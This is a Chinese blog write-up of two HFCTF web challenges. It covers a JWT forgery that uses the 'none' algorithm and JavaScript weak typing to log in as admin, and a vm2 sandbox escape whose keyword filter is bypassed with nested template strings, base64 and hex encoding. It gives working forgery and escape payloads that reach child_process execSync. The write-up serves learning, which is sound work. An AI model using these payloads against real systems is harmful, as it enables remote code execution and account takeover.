虎符CTF两道web学习JS

虎符CTF两道web学习JS

这次的虎符CTF没报上名也是可惜,不过朋友发来题目链接,打开一看是JS的题,还好没报名…😎 JS咱啥也不会呀,不过学习还是要学习的。

easy_login

考察NodeJS代码审计JS弱类型JWT伪造

知识补充

由于尚未专门学习JS,最近看到赛题就发怵,因为最近的比赛JS的题真是越来越多了😑,补充一些本题涉及的知识点先:

  • 1、NodeJS的框架目录结构

    • dispatch.js 主进程文件
    • worker.js 工作进程
    • app.js 应用
    • routes.js url路由表
    • package.json 依赖模块
    • config.js or config/ 配置文件
    • controllers/ 业务逻辑相关
    • views/ 试图模板
    • common/ 跟业务相关的公共模块
    • proxy/ 数据访问代理层
    • lib/ 跟业务无关的公共模块
    • assets/ images|scripts|styles
    • bin/ 相关运行脚本
    • node_moudules/

    一般NodeJS的项目,访问app.js即可访问主文件的代码,而主要的逻辑代码在controllers/api.js中。

  • 2、JS弱类型

    弱类型即指:数据类型可以被忽略, 一个变量可以赋不同数据类型的值,也可以在不同类型的变量之间进行操作,比如空数组[]与整数1做比较,返回为true;将浮点型数作为数组的索引等等。

面对这个大潮流,JS还是要赶紧学学啊…

题目分析

进入题目之后是个登录页面,没有其他按钮,那么我们看看源代码,可以看到/static/js/app.js的存在,访问之后看到提示:或许该用 koa-static 来处理静态文件,路径该怎么配置?不管了先填个根目录XD,提示static是直接映射到程序根目录的,那么应该可以直接在根目录下进行任意文件的访问,访问一下NodeJS的应用文件app.js试试,回显如下:

const Koa = require('koa');
const bodyParser = require('koa-bodyparser');
const session = require('koa-session');
const static = require('koa-static');
const views = require('koa-views');

const crypto = require('crypto');
const { resolve } = require('path');

const rest = require('./rest');
const controller = require('./controller');

const PORT = 3000;
const app = new Koa();

app.keys = [crypto.randomBytes(16).toString('hex')];
global.secrets = [];

app.use(static(resolve(__dirname, '.')));

app.use(views(resolve(__dirname, './views'), {
extension: 'pug'
}));

app.use(session({key: 'sses:aok', maxAge: 86400000}, app));

// parse request body:
app.use(bodyParser());

// prepare restful service
app.use(rest.restify());

// add controllers:
app.use(controller());

app.listen(PORT);
console.log(`app started at port ${PORT}...`);

可以看到这里采用了NodeJS的koa框架,该框架的主要逻辑代码当然也是在/controllers/api.js中,果断读取。

访问/controllers/api.js拿到主要逻辑代码:

const crypto = require('crypto');
const fs = require('fs')
const jwt = require('jsonwebtoken')

const APIError = require('../rest').APIError;

module.exports = {
'POST /api/register': async (ctx, next) => {
const {username, password} = ctx.request.body;

if(!username || username === 'admin'){
throw new APIError('register error', 'wrong username');
}

if(global.secrets.length > 100000) {
global.secrets = [];
}

const secret = crypto.randomBytes(18).toString('hex');
const secretid = global.secrets.length;
global.secrets.push(secret)

const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'});

ctx.rest({
token: token
});

await next();
},

'POST /api/login': async (ctx, next) => {
const {username, password} = ctx.request.body;

if(!username || !password) {
throw new APIError('login error', 'username or password is necessary');
}

const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization;

const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;

console.log(sid)

if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
throw new APIError('login error', 'no such secret id');
}

const secret = global.secrets[sid];

const user = jwt.verify(token, secret, {algorithm: 'HS256'});

const status = username === user.username && password === user.password;

if(status) {
ctx.session.username = username;
}

ctx.rest({
status
});

await next();
},

'GET /api/flag': async (ctx, next) => {
if(ctx.session.username !== 'admin'){
throw new APIError('permission error', 'permission denied');
}

const flag = fs.readFileSync('/flag').toString();
ctx.rest({
flag
});

await next();
},

'GET /api/logout': async (ctx, next) => {
ctx.session.username = null;
ctx.rest({
status: true
})
await next();
}
};

分析代码可知,主要包含三个路由:/api/register进行注册、/api/login进行登录,/api/flag读取flag,来分析一下代码逻辑。

首先是register路由:实现了注册账户的功能,通过接受传入的usernamepassword,判断username不为admin之后,随机生成一个secret并为其分配一个secretid作为其在数组中的索引,然后利用secretidusernamepasswordsecret作为内容选用HS256进行加密,生成一个JWT令牌,此时secret也已经存入全局数组。

login路由:对username检测之后,对登录状态的token进行了拼接,然后从其中提取了secretid的值作为索引去数组中读取secret的值,用该值对token进行验证,通过验证之后,将登录时的username赋值给session中的username。

flag路由:判断username为admin之后,即打印flag。

至此,解题的思路也就很明确了,我们首先在注册账户时想办法伪造JWT为admin身份,然后用admin账户登录,即可拿到flag。

解题

关键点

关键点就在于如何伪造JWT,代码中生成JWT令牌时采用的时HS256算法,并且secret时随机生成并存入数组中的,爆破怕是很难爆破出来,那就要想别的办法。这里用到的方法是利用none加密算法来伪造,原理如下:

当加密时使用的是none算法,并且秘钥的值为undefined或空的时候,在验证时,即便后面的算法设置为 HS256,验证也还是按照none来进行并且通过验证。

造成这个漏洞的原因在于:这里验证的时候options选用的是algorithm,而依赖库中正确的是algorithms,正是这个原因造成了上面的漏洞。

我们知道,这个题中在验证token的时候,选用了HS256算法对(token, secret)进行了验证,那么我们如果利用上面的方法去伪造一个用户名为admin、secret为空的JWT,那应该就能伪造成admin身份读取到flag了,不过还有个问题:

我们伪造的JWT中的secretid要满足sid !== undefinedsid !== null(sid < global.secrets.length && sid >= 0) == true

那么就对我们伪造JWT时的secretid提出了较大的调整,不过问题不大,我们前面不是提到了JS的弱类型了嘛,其实我们传一个空数组[]、传一个浮点数0.1等等这些都是可以的啊,空口无凭,让我们实践出真知。

实操

访问register进行注册,返回了一个JWT令牌,解码看其中看其中内容:

嗯…没毛病,让我们来伪造JWT吧:

import jwt
token = jwt.encode({"secretid":[],"username": "admin","password": "admin","iat": 1587472023},algorithm="none",key="").decode(encoding='utf-8')
print(token)

得到伪造的JWT:

eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJzZWNyZXRpZCI6W10sInVzZXJuYW1lIjoiYWRtaW4iLCJwYXNzd29yZCI6ImFkbWluIiwiaWF0IjoxNTg3NDcyMDIzfQ.

然后拿着我们的令牌去登录,登录时在authorization填入伪造的JWT,注意登陆的usernamepassword要与伪造的JWT里的一样(这里我们前面是已经用test/test进行注册了,也就是说已经初始化了secrets数组,这样也更不会造成逻辑上的问题)

可以看到,此时的statustrue,记下此时的sses:aoksses:aok.sig,这个session中的username值其实已经赋值为admin了,也就是说,这个session是admin登录的session,拿着它就可以读取flag。

最后,我们去访问/api/flag路由,将记录下的token进行替换,即可伪造为admin身份拿到flag:

拿到flag,撒花~

JustEscape

考察vm2沙箱逃逸JS模板字符串以及对字符串过滤的集中绕过方式

知识补充

JS模板字符串:

模板字符串使用反引号` 来代替普通字符串中的用双引号和单引号。模板字符串可以包含特定语法('${expression}'注意是单引号)的占位符。占位符中的表达式和周围的文本会一起传递给一个默认函数,该函数负责将所有的部分连接起来,如果一个模板字符串由表达式开头,则该字符串被称为带标签的模板字符串,该表达式通常是一个函数,它会在模板字符串处理后被调用,在输出最终结果前,你都可以通过该函数来对模板字符串进行操作处理。在模版字符串内使用反引号时,需要在它前面加转义符(\)。

题目分析

根据题目的提示,可以执行一些代码,这样的话岂不是直接eval就行了?但是题目提示真的是PHP嘛,emmm…假的吧,这里学到骚姿势,用Error().stack返回报错信息,来看后端采用的架构:

可以看到后端是一个JS的VM2沙箱,进一步测试发现' " +都被ban掉了,不过利用现有的逃逸方法即可进行逃逸:VM2(3.8.3)逃逸exp

但是除了前面提到的被ban的字符外,很多函数,比如:processexeceval等也都被过滤了,触发黑名单就会赠送一个键盘:

这里可以通过利用字符串拼接数组调用(对象的方法或者属性名关键字被过滤的情况下可以把对象当成一个数组,然后数组里面的键名用字符串拼接出来)的方式来绕过关键字的限制,但是这里单、双引号都被ban了,直接进行字符串的拼接肯定是不行,不过可以利用反引号来代替单引号,同时利用模板字符串嵌套来拼接出需要的字符串。

比如:

`${`${`proces`}s`}`

输出process

利用此方法对字符串进行拼接即可绕过过滤,对前面提到的exp进行改进即可成功逃逸。

另一种绕过方法是利用base64hex编码进行绕过,不过都是在上面的逃逸exp基础上编码进行进一步绕过的方法。

解题

方法一:利用模板字符串嵌套绕过

改进的exp如下:

(function (){
TypeError[`${`${`prototyp`}e`}`][`${`${`get_pro`}cess`}`] = f=>f[`${`${`constructo`}r`}`](`${`${`return proc`}ess`}`)();
try{
Object.preventExtensions(Buffer.from(``)).a = 1;
}catch(e){
return e[`${`${`get_pro`}cess`}`](()=>{}).mainModule[`${`${`requir`}e`}`](`${`${`child_proces`}s`}`)[`${`${`exe`}cSync`}`](`cat /flag`).toString();
}
})()

直接将上面的payload填入hackbar的URL栏执行即可:

方法二:利用base64/hex编码绕过

首先贴一下逃逸的exp:

TypeError.prototype.get_process = f => f.constructor("return process")();
try {
Object.preventExtensions(Buffer.from("")).a = 1;
} catch (e) {
e.get_process(() => { }).mainModule.require("child_process").execSync("cat /flag").toString();
}

对前面的exp进行编码,进一步绕过过滤

base64编码payload:

global[[`eva`,%20`l`].join(``)](Buffer.from(`VHlwZUVycm9yLnByb3RvdHlwZS5nZXRfcHJvY2VzcyA9IGYgPT4gZi5jb25zdHJ1Y3RvcigicmV0dXJuIHByb2Nlc3MiKSgpOwp0cnkgewogICAgT2JqZWN0LnByZXZlbnRFeHRlbnNpb25zKEJ1ZmZlci5mcm9tKCIiKSkuYSA9IDE7Cn0gY2F0Y2ggKGUpIHsKICAgIGUuZ2V0X3Byb2Nlc3MoKCkgPT4geyB9KS5tYWluTW9kdWxlLnJlcXVpcmUoImNoaWxkX3Byb2Nlc3MiKS5leGVjU3luYygiY2F0IC9mbGFnIikudG9TdHJpbmcoKTsKfQ==`,%20`base64`).toString(`ascii`));

hex编码payload:

(function(){TypeError[String.fromCharCode(112,114,111,116,111,116,121,112,101)][`\x67\x65\x74\x5f\x70\x72\x6f\x63\x65\x73\x73`] = f=>f[`\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72`](`\x72\x65\x74\x75\x72\x6e\x20\x70\x72\x6f\x63\x65\x73\x73`)();try{Object.preventExtensions(Buffer.from(``)).a = 1;}catch(e){return e[`\x67\x65\x74\x5f\x70\x72\x6f\x63\x65\x73\x73`](()=>{}).mainModule.require((`\x63\x68\x69\x6c\x64\x5f\x70\x72\x6f\x63\x65\x73\x73`))[`\x65\x78\x65\x63\x53\x79\x6e\x63`](`cat /flag`).toString();}})()

执行结果:

小结一下

这两道题对逐步学习JS还是很有用滴,不过也恐慌了,感觉又啥也不会了😅

参考:
赵师傅的超详细题解
VM2(3.8.3)逃逸exp
JS模板字符串嵌套

Comments


:D 一言句子获取中...

Loading...Wait a Minute!